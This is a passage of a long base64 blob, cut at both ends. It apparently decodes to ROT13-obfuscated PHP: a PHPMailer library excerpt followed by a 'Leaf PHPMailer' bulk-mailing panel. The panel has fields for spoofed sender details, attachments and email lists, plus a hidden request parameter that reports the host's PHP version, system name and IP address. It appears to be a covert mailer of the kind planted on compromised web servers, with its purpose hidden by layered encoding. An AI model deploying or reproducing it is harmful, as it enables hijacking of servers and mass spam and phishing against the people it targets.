2aVhybCA9IGJjcmFmZnlfY3hybF90cmdfY2V2aW5ncigkY2V2aVhybEZnZSk7CiAgICAgICAgfQogICAgICAgIC8vSmJleG5lYmhhcSBzYmUgenZmZnZhdCBxdnRyZmcgbnl0YmV2Z3V6ZiB2YSBieXEgQ1VDICYgQmNyYUZGWSBpcmVmdmJhZgogICAgICAgIC8vQHl2YXggdWdnYzovL2ZnbnB4YmlyZXN5YmoucGJ6L24vMTExMTczMzgvMzMzMzQwCiAgICAgICAgdnMgKGlyZWZ2YmFfcGJ6Y25lcihDVUNfSVJFRlZCQSwgJzUuMy4wJykgPj0gMCBuYXEKICAgICAgICAgICAgdmFfbmVlbmwoJ2Z1bjI1Nkp2Z3VFRk5SYXBlbGNndmJhJywgYmNyYWZmeV90cmdfenFfenJndWJxZihnZWhyKSkpIHsKICAgICAgICAgICAgdnMgKGJjcmFmZnlfZnZ0YSgkZnZ0YVVybnFyZSwgJGZ2dGFuZ2hlciwgJGNldmlYcmwsICdmdW4yNTZKdmd1RUZOUmFwZWxjZ3ZiYScpKSB7CiAgICAgICAgICAgICAgICBiY3JhZmZ5X2N4cmxfc2VycigkY2V2aVhybCk7CiAgICAgICAgICAgICAgICBlcmdoZWEgb25mcjY0X3JhcGJxcigkZnZ0YW5naGVyKTsKICAgICAgICAgICAgfQogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICRjdmFzYiA9IGJjcmFmZnlfY3hybF90cmdfcXJnbnZ5ZigkY2V2aVhybCk7CiAgICAgICAgICAgICR1bmZ1ID0gdW5mdSgnZnVuMjU2JywgJGZ2dGFVcm5xcmUpOwogICAgICAgICAgICAvLydabnR2cCcgcGJhZmduYWcgc2JlIEZVTjI1NiBzZWJ6IEVTUDM0NDcKICAgICAgICAgICAgLy9AeXZheCB1Z2djZjovL2diYnlmLnZyZ3MuYmV0L3VnenkvZXNwMzQ0NyNjbnRyLTQzCiAgICAgICAgICAgICRnID0gJzMwMzEzMDBxMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICR1bmZ1OwogICAgICAgICAgICAkY2Z5cmEgPSAkY3Zhc2JbJ292Z2YnXSAvIDggLSAoZmdleXJhKCRnKSAvIDIgKyAzKTsKICAgICAgICAgICAgJHJvID0gY25weCgnVSonLCAnMDAwMScgLiBmZ2VfZXJjcm5nKCdTUycsICRjZnlyYSkgLiAnMDAnIC4gJGcpOwoKICAgICAgICAgICAgdnMgKGJjcmFmZnlfY2V2aW5ncl9yYXBlbGNnKCRybywgJGZ2dGFuZ2hlciwgJGNldmlYcmwsIEJDUkFGRllfQUJfQ05RUVZBVCkpIHsKICAgICAgICAgICAgICAgIGJjcmFmZnlfY3hybF9zZXJyKCRjZXZpWHJsKTsKICAgICAgICAgICAgICAgIGVyZ2hlYSBvbmZyNjRfcmFwYnFyKCRmdnRhbmdoZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGJjcmFmZnlfY3hybF9zZXJyKCRjZXZpWHJsKTsKICAgICAgICBlcmdoZWEgJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBUcmFyZW5nciBuIFFYVlogcG5hYmF2cG55dm1uZ3ZiYSB1cm5xcmUuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGNuZW56IGZnZXZhdCAkZnZ0YVVybnFyZSBVcm5xcmUKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBRWFZaX1VybnFyZVAoJGZ2dGFVcm5xcmUpCiAgICB7CiAgICAgICAgJGZ2dGFVcm5xcmUgPSBjZXJ0X2VyY3lucHIoJy9cZVxhXGYrLycsICcgJywgJGZ2dGFVcm5xcmUpOwogICAgICAgICR5dmFyZiA9IHJrY3licXIoIlxlXGEiLCAkZnZ0YVVybnFyZSk7CiAgICAgICAgc2Jlcm5wdSAoJHl2YXJmIG5mICR4cmwgPT4gJHl2YXIpIHsKICAgICAgICAgICAgeXZmZygkdXJucXZhdCwgJGlueWhyKSA9IHJrY3licXIoJzonLCAkeXZhciwgMik7CiAgICAgICAgICAgICR1cm5xdmF0ID0gZmdlZ2J5YmpyZSgkdXJucXZhdCk7CiAgICAgICAgICAgICRpbnlociA9IGNlcnRfZXJjeW5wcignL1xmezIsfS8nLCAnICcsICRpbnlocik7IC8vIFBiemNlcmZmIGhmcnlyZmYgZmNucHJmCiAgICAgICAgICAgICR5dmFyZlskeHJsXSA9ICR1cm5xdmF0IC4gJzonIC4gZ2V2eigkaW55aHIpOyAvLyBRYmEnZyBzYmV0cmcgZ2IgZXJ6YmlyIEpGQyBuZWJoYXEgZ3VyIGlueWhyCiAgICAgICAgfQogICAgICAgICRmdnRhVXJucXJlID0gdnpjeWJxcigiXGVcYSIsICR5dmFyZik7CiAgICAgICAgZXJnaGVhICRmdnRhVXJucXJlOwogICAgfQoKICAgIC8qKgogICAgICogVHJhcmVuZ3IgbiBRWFZaIHBuYWJhdnBueXZtbmd2YmEgb2JxbC4KICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRvYnFsIFpyZmZudHIgT2JxbAogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIFFYVlpfT2JxbFAoJG9icWwpCiAgICB7CiAgICAgICAgdnMgKCRvYnFsID09ICcnKSB7CiAgICAgICAgICAgIGVyZ2hlYSAiXGVcYSI7CiAgICAgICAgfQogICAgICAgIC8vIGZnbm92eXZtciB5dmFyIHJhcXZhdGYKICAgICAgICAkb2JxbCA9IGZnZV9lcmN5bnByKCJcZVxhIiwgIlxhIiwgJG9icWwpOwogICAgICAgICRvYnFsID0gZmdlX2VyY3lucHIoIlxhIiwgIlxlXGEiLCAkb2JxbCk7CiAgICAgICAgLy8gUkFRIGZnbm92eXZtciB5dmFyIHJhcXZhdGYKICAgICAgICBqdXZ5ciAoZmhvZmdlKCRvYnFsLCBmZ2V5cmEoJG9icWwpIC0gNCwgNCkgPT0gIlxlXGFcZVxhIikgewogICAgICAgICAgICAkb2JxbCA9IGZob2ZnZSgkb2JxbCwgMCwgZmdleXJhKCRvYnFsKSAtIDIpOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgJG9icWw7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJuZ3IgZ3VyIFFYVlogdXJucXJlIG5hcSBvYnFsIHZhIG4gYXJqIHpyZmZudHIgdXJucXJlLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBjbmVueiBmZ2V2YXQgJHVybnFyZWZfeXZhciBVcm5xcmUgeXZhcmYKICAgICAqIEBjbmVueiBmZ2V2YXQgJGZob3dycGcgRmhvd3JwZwogICAgICogQGNuZW56IGZnZXZhdCAkb2JxbCBPYnFsCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgUVhWWl9OcXEoJHVybnFyZWZfeXZhciwgJGZob3dycGcsICRvYnFsKQogICAgewogICAgICAgICRRWFZaZnZ0YW5naGVyR2xjciA9ICdlZm4tZnVuMjU2JzsgLy8gRnZ0YW5naGVyICYgdW5mdSBueXRiZXZndXpmCiAgICAgICAgJFFYVlpwbmFiYXZwbnl2bW5ndmJhID0gJ2VyeW5rcnEvZnZ6Y3lyJzsgLy8gUG5hYmF2cG55dm1uZ3ZiYSBicyB1cm5xcmUvb2JxbAogICAgICAgICRRWFZaZGhyZWwgPSAncWFmL2drZyc7IC8vIERocmVsIHpyZ3VicQogICAgICAgICRRWFZaZ3Z6ciA9IGd2enIoKTsgLy8gRnZ0YW5naGVyIEd2enJmZ256YyA9IGZycGJhcWYgZnZhcHIgMDA6MDA6MDAgLSBXbmEgMSwgMTk3MCAoSEdQIGd2enIgbWJhcikKICAgICAgICAkZmhvd3JwZ191cm5xcmUgPSAiRmhvd3JwZzogJGZob3dycGciOwogICAgICAgICR1cm5xcmVmID0gcmtjeWJxcigkZ3V2Zi0+WVIsICR1cm5xcmVmX3l2YXIpOwogICAgICAgICRzZWJ6X3VybnFyZSA9ICcnOwogICAgICAgICRnYl91cm5xcmUgPSAnJzsKICAgICAgICAkcW5ncl91cm5xcmUgPSAnJzsKICAgICAgICAkcGhlZXJhZyA9ICcnOwogICAgICAgIHNiZXJucHUgKCR1cm5xcmVmIG5mICR1cm5xcmUpIHsKICAgICAgICAgICAgdnMgKGZnZWNiZigkdXJucXJlLCAnU2ViejonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJHNlYnpfdXJucXJlID0gJHVybnFyZTsKICAgICAgICAgICAgICAgICRwaGVlcmFnID0gJ3NlYnpfdXJucXJlJzsKICAgICAgICAgICAgfSByeWZydnMgKGZnZWNiZigkdXJucXJlLCAnR2I6JykgPT09IDApIHsKICAgICAgICAgICAgICAgICRnYl91cm5xcmUgPSAkdXJucXJlOwogICAgICAgICAgICAgICAgJHBoZWVyYWcgPSAnZ2JfdXJucXJlJzsKICAgICAgICAgICAgfSByeWZydnMgKGZnZWNiZigkdXJucXJlLCAnUW5ncjonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJHFuZ3JfdXJucXJlID0gJHVybnFyZTsKICAgICAgICAgICAgICAgICRwaGVlcmFnID0gJ3FuZ3JfdXJucXJlJzsKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgIHZzICghcnpjZ2woJCRwaGVlcmFnKSAmJiBmZ2VjYmYoJHVybnFyZSwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRwaGVlcmFnIC49ICR1cm5xcmU7CiAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICRwaGVlcmFnID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHNlYnogPSBmZ2VfZXJjeW5wcignfCcsICc9N1AnLCAkZ3V2Zi0+UVhWWl9EQygkc2Viel91cm5xcmUpKTsKICAgICAgICAkZ2IgPSBmZ2VfZXJjeW5wcignfCcsICc9N1AnLCAkZ3V2Zi0+UVhWWl9EQygkZ2JfdXJucXJlKSk7CiAgICAgICAgJHFuZ3IgPSBmZ2VfZXJjeW5wcignfCcsICc9N1AnLCAkZ3V2Zi0+UVhWWl9EQygkcW5ncl91cm5xcmUpKTsKICAgICAgICAkZmhvd3JwZyA9IGZnZV9lcmN5bnByKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N1AnLAogICAgICAgICAgICAkZ3V2Zi0+UVhWWl9EQygkZmhvd3JwZ191cm5xcmUpCiAgICAgICAgKTsgLy8gUGJjdnJxIHVybnFyZSBzdnJ5cWYgKHF4dnotZGhiZ3JxLWNldmFnbm95cikKICAgICAgICAkb2JxbCA9ICRndXZmLT5RWFZaX09icWxQKCRvYnFsKTsKICAgICAgICAkUVhWWnlyYSA9IGZnZXlyYSgkb2JxbCk7IC8vIFlyYXRndSBicyBvYnFsCiAgICAgICAgJFFYVlpvNjQgPSBvbmZyNjRfcmFwYnFyKGNucHgoJ1UqJywgdW5mdSgnZnVuMjU2JywgJG9icWwpKSk7IC8vIE9uZnI2NCBicyBjbnB4cnEgb3ZhbmVsIEZVTi0yNTYgdW5mdSBicyBvYnFsCiAgICAgICAgdnMgKCcnID09ICRndXZmLT5RWFZaX3ZxcmFndmdsKSB7CiAgICAgICAgICAgICR2cXJhZyA9ICcnOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICR2cXJhZyA9ICcgdj0nIC4gJGd1dmYtPlFYVlpfdnFyYWd2Z2wgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRxeHZ6dXFlZiA9ICdRWFZaLUZ2dGFuZ2hlcjogaT0xOyBuPScgLgogICAgICAgICAgICAkUVhWWmZ2dGFuZ2hlckdsY3IgLiAnOyBkPScgLgogICAgICAgICAgICAkUVhWWmRocmVsIC4gJzsgeT0nIC4KICAgICAgICAgICAgJFFYVlp5cmEgLiAnOyBmPScgLgogICAgICAgICAgICAkZ3V2Zi0+UVhWWl9mcnlycGdiZSAuCiAgICAgICAgICAgICI7XGVcYSIgLgogICAgICAgICAgICAiXGdnPSIgLiAkUVhWWmd2enIgLiAnOyBwPScgLiAkUVhWWnBuYWJhdnBueXZtbmd2YmEgLiAiO1xlXGEiIC4KICAgICAgICAgICAgIlxndT1TZWJ6OkdiOlFuZ3I6Rmhvd3JwZztcZVxhIiAuCiAgICAgICAgICAgICJcZ3E9IiAuICRndXZmLT5RWFZaX3Fiem52YSAuICc7JyAuICR2cXJhZyAuICJcZVxhIiAuCiAgICAgICAgICAgICJcZ209JHNlYnpcZVxhIiAuCiAgICAgICAgICAgICJcZ3wkZ2JcZVxhIiAuCiAgICAgICAgICAgICJcZ3wkcW5nclxlXGEiIC4KICAgICAgICAgICAgIlxnfCRmaG93cnBnO1xlXGEiIC4KICAgICAgICAgICAgIlxnb3U9IiAuICRRWFZabzY0IC4gIjtcZVxhIiAuCiAgICAgICAgICAgICJcZ289IjsKICAgICAgICAkZ2JGdnRhID0gJGd1dmYtPlFYVlpfVXJucXJlUCgKICAgICAgICAgICAgJHNlYnpfdXJucXJlIC4gIlxlXGEiIC4KICAgICAgICAgICAgJGdiX3VybnFyZSAuICJcZVxhIiAuCiAgICAgICAgICAgICRxbmdyX3VybnFyZSAuICJcZVxhIiAuCiAgICAgICAgICAgICRmaG93cnBnX3VybnFyZSAuICJcZVxhIiAuCiAgICAgICAgICAgICRxeHZ6dXFlZgogICAgICAgICk7CiAgICAgICAgJGZ2dGFycSA9ICRndXZmLT5RWFZaX0Z2dGEoJGdiRnZ0YSk7CiAgICAgICAgZXJnaGVhICRxeHZ6dXFlZiAuICRmdnRhcnEgLiAiXGVcYSI7CiAgICB9CgogICAgLyoqCiAgICAgKiBRcmdycGcgdnMgbiBmZ2V2YXQgcGJhZ252YWYgbiB5dmFyIHliYXRyZSBndW5hIGd1ciB6bmt2emh6IHl2YXIgeXJhdGd1IG55eWJqcnEuCiAgICAgKiBAY25lbnogZmdldmF0ICRmZ2UKICAgICAqIEBlcmdoZWEgb2JieXJuYQogICAgICogQGZnbmd2cAogICAgICovCiAgICBjaG95dnAgZmduZ3ZwIHNoYXBndmJhIHVuZll2YXJZYmF0cmVHdW5hWm5rKCRmZ2UpCiAgICB7CiAgICAgICAgLy8rMiBnYiB2YXB5aHFyIFBFWVMgeXZhciBvZXJueCBzYmUgbiAxMDAwIGdiZ255CiAgICAgICAgZXJnaGVhIChvYmJ5cm5hKWNlcnRfem5ncHUoJy9eKC57Jy4oZnJ5czo6Wk5LX1lWQVJfWVJBVEdVICsgMikuJyx9KS96JywgJGZnZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBOeXliamYgc2JlIGNob3l2cCBlcm5xIG5wcHJmZiBnYiAnZ2InIGNlYmNyZWdsLgogICAgICogQGFiZ3I6IE9yc2JlciBndXIgZnJhcSgpIHBueXksIGRocmhycSBucXFlcmZmcmYgKHYuci4ganZndSBWUUEpIG5lciBhYmcgbHJnIHZhcHlocXJxLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgbmVlbmwKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHRyZ0diTnFxZXJmZnJmKCkKICAgIHsKICAgICAgICBlcmdoZWEgJGd1dmYtPmdiOwogICAgfQoKICAgIC8qKgogICAgICogTnl5YmpmIHNiZSBjaG95dnAgZXJucSBucHByZmYgZ2IgJ3BwJyBjZWJjcmVnbC4KICAgICAqIEBhYmdyOiBPcnNiZXIgZ3VyIGZyYXEoKSBwbnl5LCBkaHJocnEgbnFxZXJmZnJmICh2LnIuIGp2Z3UgVlFBKSBuZXIgYWJnIGxyZyB2YXB5aHFycS4KICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAZXJnaGVhIG5lZW5sCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB0cmdQcE5xcWVyZmZyZigpCiAgICB7CiAgICAgICAgZXJnaGVhICRndXZmLT5wcDsKICAgIH0KCiAgICAvKioKICAgICAqIE55eWJqZiBzYmUgY2hveXZwIGVybnEgbnBwcmZmIGdiICdvcHAnIGNlYmNyZWdsLgogICAgICogQGFiZ3I6IE9yc2JlciBndXIgZnJhcSgpIHBueXksIGRocmhycSBucXFlcmZmcmYgKHYuci4ganZndSBWUUEpIG5lciBhYmcgbHJnIHZhcHlocXJxLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgbmVlbmwKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHRyZ09wcE5xcWVyZmZyZigpCiAgICB7CiAgICAgICAgZXJnaGVhICRndXZmLT5vcHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBOeXliamYgc2JlIGNob3l2cCBlcm5xIG5wcHJmZiBnYiAnRXJjeWxHYicgY2ViY3JlZ2wuCiAgICAgKiBAYWJncjogT3JzYmVyIGd1ciBmcmFxKCkgcG55eSwgZGhyaHJxIG5xcWVyZmZyZiAodi5yLiBqdmd1IFZRQSkgbmVyIGFiZyBscmcgdmFweWhxcnEuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGVyZ2hlYSBuZWVubAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgdHJnRXJjeWxHYk5xcWVyZmZyZigpCiAgICB7CiAgICAgICAgZXJnaGVhICRndXZmLT5FcmN5bEdiOwogICAgfQoKICAgIC8qKgogICAgICogTnl5YmpmIHNiZSBjaG95dnAgZXJucSBucHByZmYgZ2IgJ255eV9lcnB2Y3ZyYWdmJyBjZWJjcmVnbC4KICAgICAqIEBhYmdyOiBPcnNiZXIgZ3VyIGZyYXEoKSBwbnl5LCBkaHJocnEgbnFxZXJmZnJmICh2LnIuIGp2Z3UgVlFBKSBuZXIgYWJnIGxyZyB2YXB5aHFycS4KICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAZXJnaGVhIG5lZW5sCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB0cmdOeXlFcnB2Y3ZyYWdOcXFlcmZmcmYoKQogICAgewogICAgICAgIGVyZ2hlYSAkZ3V2Zi0+bnl5X2VycHZjdnJhZ2Y7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVzYmV6IG4gcG55eW9ucHguCiAgICAgKiBAY25lbnogb2JieXJuYSAkdmZGcmFnCiAgICAgKiBAY25lbnogbmVlbmwgJGdiCiAgICAgKiBAY25lbnogbmVlbmwgJHBwCiAgICAgKiBAY25lbnogbmVlbmwgJG9wcAogICAgICogQGNuZW56IGZnZXZhdCAkZmhvd3JwZwogICAgICogQGNuZW56IGZnZXZhdCAkb2JxbAogICAgICogQGNuZW56IGZnZXZhdCAkc2ViegogICAgICovCiAgICBjZWJncnBncnEgc2hhcGd2YmEgcWJQbnl5b25weCgkdmZGcmFnLCAkZ2IsICRwcCwgJG9wcCwgJGZob3dycGcsICRvYnFsLCAkc2VieikKICAgIHsKICAgICAgICB2cyAoIXJ6Y2dsKCRndXZmLT5ucGd2YmFfc2hhcGd2YmEpICYmIHZmX3BueXlub3lyKCRndXZmLT5ucGd2YmFfc2hhcGd2YmEpKSB7CiAgICAgICAgICAgICRjbmVuemYgPSBuZWVubCgkdmZGcmFnLCAkZ2IsICRwcCwgJG9wcCwgJGZob3dycGcsICRvYnFsLCAkc2Vieik7CiAgICAgICAgICAgIHBueXlfaGZyZV9zaGFwX25lZW5sKCRndXZmLT5ucGd2YmFfc2hhcGd2YmEsICRjbmVuemYpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIENVQ1pudnlyZSBya3ByY2d2YmEgdW5hcXlyZQogKiBAY25weG50ciBDVUNabnZ5cmUKICovCnB5bmZmIGN1Y3pudnlyZVJrcHJjZ3ZiYSBya2dyYXFmIFJrcHJjZ3ZiYQp7CiAgICAvKioKICAgICAqIENlcmdndnNsIHJlZWJlIHpyZmZudHIgYmhnY2hnCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgcmVlYmVacmZmbnRyKCkKICAgIHsKICAgICAgICAkcmVlYmVaZnQgPSAnPGZnZWJhdD4nIC4gdWd6eWZjcnB2bnlwdW5lZigkZ3V2Zi0+dHJnWnJmZm50cigpKSAuICI8L2ZnZWJhdD48b2UgLz5cYSI7CiAgICAgICAgZXJnaGVhICRyZWViZVpmdDsKICAgIH0KfQoKdnMgKCRfRVJESFJGR1snam5ncHVrJ10pIHsKCSRpcmVmdmJhID0gY3VjaXJlZnZiYSgpOwoJJGhhbnpyID0gIGN1Y19oYW56cigpOwoJJHZjID0gdHJndWJmZ29sYW56cigkX0ZSRUlSRVsiVUdHQ19VQkZHIl0pOwkKCXJwdWIgd2ZiYV9yYXBicXIgKG5lZW5sICgiaXJlZnZiYSI9PiRpcmVmdmJhLAoJCSJoYW56ciI9PiRoYW56ciwKCQkiY3luZ3NiZXoiPT5DVUNfQkYsCgkJInZjIj0+JHZjLAoJCSJ6bnZ5cmVrIj0+Z2VociwJCgkpKTsKCXF2ciAoKTsKfQoKc2hhcGd2YmEgeXJuc3VybnFyZSgpewpjZXZhZyAnCjx1cm5xPgogICAgPGd2Z3lyPicuZmdlX2VyY3lucHIoImpqai4iLCAiIiwgJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nIC0gWXJucyBDVUNabnZ5cmU8L2d2Z3lyPgogICAgPHpyZ24gdWdnYy1yZGh2aT0iUGJhZ3JhZy1HbGNyIiBwYmFncmFnPSJncmtnL3Vnenk7IHB1bmVmcmc9aGdzLTgiLz4KICAgIDx5dmF4IHVlcnM9InVnZ2NmOi8vem5rcHFhLm9iYmdmZ2VuY3BxYS5wYnovb2JiZ2ZqbmdwdS8zLjQuMS9wYmZ6Yi9vYmJnZmdlbmMuenZhLnBmZiIgZXJ5PSJmZ2x5cmZ1cnJnIiA+Cgo8L3VybnE+JzsKfQp5cm5zdXJucXJlKCk7CmNldmFnICc8b2JxbD4nOwpjZXZhZyAnPHF2aSBweW5mZj0icGJhZ252YXJlIHBieS15dC02Ij4KICAgICAgICA8dTM+PHNiYWcgcGJ5YmU9InRlcnJhIj48ZmNuYSBweW5mZj0idHlsY3V2cGJhIHR5bGN1dnBiYS15cm5zIj48L2ZjbmE+PC9zYmFnPiBZcm5zIENVQ1pudnlyZSA8ZnpueXk+Jy4keXJuc1snaXJlZnZiYSddLic8L2Z6bnl5PjwvdTM+CiAgICAgICAgPHNiZXogYW56cj0ic2JleiIgdnE9InNiZXoiIHpyZ3VicT0iQ0JGRyIgcmFwZ2xjcj0iemh5Z3ZjbmVnL3NiZXotcW5nbiIgbnBndmJhPSIiPgogICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9Im5wZ3ZiYSIgaW55aHI9ImZwYmVyIj4KCiAgICAgICAgICAgIDxxdmkgcHluZmY9ImViaiI+CiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzYmV6LXRlYmhjIHBieS15dC02ICI+PHlub3J5IHNiZT0iZnJhcXJlUnpudnkiPlJ6bnZ5PC95bm9yeT48dmFjaGcgZ2xjcj0iZ3JrZyIgcHluZmY9InNiZXotcGJhZ2VieSAgdmFjaGctZnogIiB2cT0iZnJhcXJlUnpudnkiIGFuenI9ImZyYXFyZVJ6bnZ5IiBpbnlocj0iJy4kZnJhcXJlUnpudnkuJyI+PC9xdmk+CiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzYmV6LXRlYmhjIHBieS15dC02ICI+PHlub3J5IHNiZT0iZnJhcXJlQW56ciI+RnJhcXJlIEFuenI8L3lub3J5Pjx2YWNoZyBnbGNyPSJncmtnIiBweW5mZj0ic2Jlei1wYmFnZWJ5ICB2YWNoZy1meiAiIHZxPSJmcmFxcmVBbnpyIiBhbnpyPSJmcmFxcmVBbnpyIiBpbnlocj0iJy4kZnJhcXJlQW56ci4nIj48L3F2aT4KICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgIDxxdmkgcHluZmY9ImViaiI+CiAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0ic2Jlei10ZWJoYyBwYnkteXQtNiAgIj48eW5vcnkgc2JlPSJuZ2ducHV6cmFnIj5OZ2ducHV6cmFnIDxmem55eT4oWmh5Z3ZjeXIgTmludnlub3lyKTwvZnpueXk+PC95bm9yeT48dmFjaGcgZ2xjcj0ic3Z5ciIgYW56cj0ibmdnbnB1enJhZ1tdIiB2cT0ibmdnbnB1enJhZ1tdIiB6aHlndmN5ci8+PC9mY25hPgoKICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InNiZXotdGViaGMgcGJ5LXl0LTYiPjx5bm9yeSBzYmU9ImVyY3lsR2IiPkVyY3lsLWdiPC95bm9yeT48dmFjaGcgZ2xjcj0iZ3JrZyIgcHluZmY9InNiZXotcGJhZ2VieSAgdmFjaGctZnogIiB2cT0iZXJjeWxHYiIgYW56cj0iZXJjeWxHYiIgaW55aHI9IicuJGVyY3lsR2IuJyIgLz48L3F2aT4KICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgIDxxdmkgcHluZmY9ImViaiI+CiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzYmV6LXRlYmhjIHBieS15dC0xMiAiPjx5bm9yeSBzYmU9ImZob3dycGciPkZob3dycGc8L3lub3J5Pjx2YWNoZyBnbGNyPSJncmtnIiBweW5mZj0ic2Jlei1wYmFnZWJ5ICB2YWNoZy1meiAiIHZxPSJmaG93cnBnIiBhbnpyPSJmaG93cnBnIiBpbnlocj0iJy4kZmhvd3JwZy4nIiAvPjwvcXZpPgogICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgPHF2aSBweW5mZj0iZWJqIj4KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InNiZXotdGViaGMgcGJ5LXl0LTYiPjx5bm9yeSBzYmU9InpyZmZudHJZcmdncmUiPlpyZmZudHIgWXJnZ3JlIDxvaGdnYmEgZ2xjcj0iZmhvenZnIiBweW5mZj0ib2dhIG9nYS1xcnNuaHlnIG9nYS1rZiIgc2Jlej0ic2JleiIgYW56cj0ibnBndmJhIiBpbnlocj0iaXZyaiIgc2JlemduZXRyZz0iX295bmF4Ij5DZXJpdnJqIDwvb2hnZ2JhPjwveW5vcnk+PGdya2duZXJuIGFuenI9InpyZmZudHJZcmdncmUiIHZxPSJ6cmZmbnRyWXJnZ3JlIiBweW5mZj0ic2Jlei1wYmFnZWJ5IiBlYmpmPSIxMCIgdnE9Imdya2dOZXJuIj4nLiR6cmZmbnRyWXJnZ3JlLic8L2dya2duZXJuPjwvcXZpPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic2Jlei10ZWJoYyBwYnkteXQtNiAiPjx5bm9yeSBzYmU9InJ6bnZ5WXZmZyI+UnpudnkgWXZmZyA8biB1ZXJzPSI/cnpudnlzdnlncmU9YmEiIGduZXRyZz0iX295bmF4IiBweW5mZj0ib2dhIG9nYS1xcnNuaHlnIG9nYS1rZiI+U3Z5Z3JlL1JrZ2VucGc8L24+PC95bm9yeT48Z3JrZ25lcm4gYW56cj0icnpudnlZdmZnIiB2cT0icnpudnlZdmZnIiBweW5mZj0ic2Jlei1wYmFnZWJ5IiBlYmpmPSIxMCIgdnE9Imdya2dOZXJuIj4nLiRyem52eVl2ZmcuJzwvZ3JrZ25lcm4+PC9xdmk+CiAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICA8cXZpIHB5bmZmPSJlYmoiPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic2Jlei10ZWJoYyBwYnkteXQtNiAiPgogICAgICAgICAgICAgICAgICAgIDx5bm9yeSBzYmU9InpyZmZudHJHbGNyIj5acmZmbnRyIEdsY3I8L3lub3J5PgogICAgICAgICAgICAgICAgICAgIFVHWlkgPHZhY2hnIGdsY3I9ImVucXZiIiBhbnpyPSJ6cmZmbnRyR2xjciIgdnE9InpyZmZudHJHbGNyIiBpbnlocj0iMSIgJy4kdWd6eS4nPgogICAgICAgICAgICAgICAgICAgIEN5bnZhPHZhY2hnIGdsY3I9ImVucXZiIiBhbnpyPSJ6cmZmbnRyR2xjciIgdnE9InpyZmZudHJHbGNyIiBpbnlocj0iMiIgJy4kY3ludmEuJz4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic2Jlei10ZWJoYyBwYnkteXQtMyAiPgogICAgICAgICAgICAgICAgICAgIDx5bm9yeSBzYmU9InB1bmVmcmciPlB1bmVucGdyZSBmcmc8L3lub3J5PgogICAgICAgICAgICAgICAgICAgIDxmcnlycGcgcHluZmY9InNiZXotcGJhZ2VieSB2YWNoZy1meiIgdnE9InB1bmVmcmciIGFuenI9InB1bmVmcmciPgogICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhICcuJGhnczguJz5IR1MtODwvYmNndmJhPgogICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhICcuJHZmYi4nPlZGQi04ODU5LTE8L2JjZ3ZiYT4KICAgICAgICAgICAgICAgICAgICA8L2ZyeXJwZz4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic2Jlei10ZWJoYyBwYnkteXQtMyAiPgogICAgICAgICAgICAgICAgICAgIDx5bm9yeSBzYmU9InJhcGJxdmF0Ij5acmZmbnRyIHJhcGJxdmF0PC95bm9yeT4KICAgICAgICAgICAgICAgICAgICA8ZnJ5cnBnIHB5bmZmPSJzYmV6LXBiYWdlYnkgdmFjaG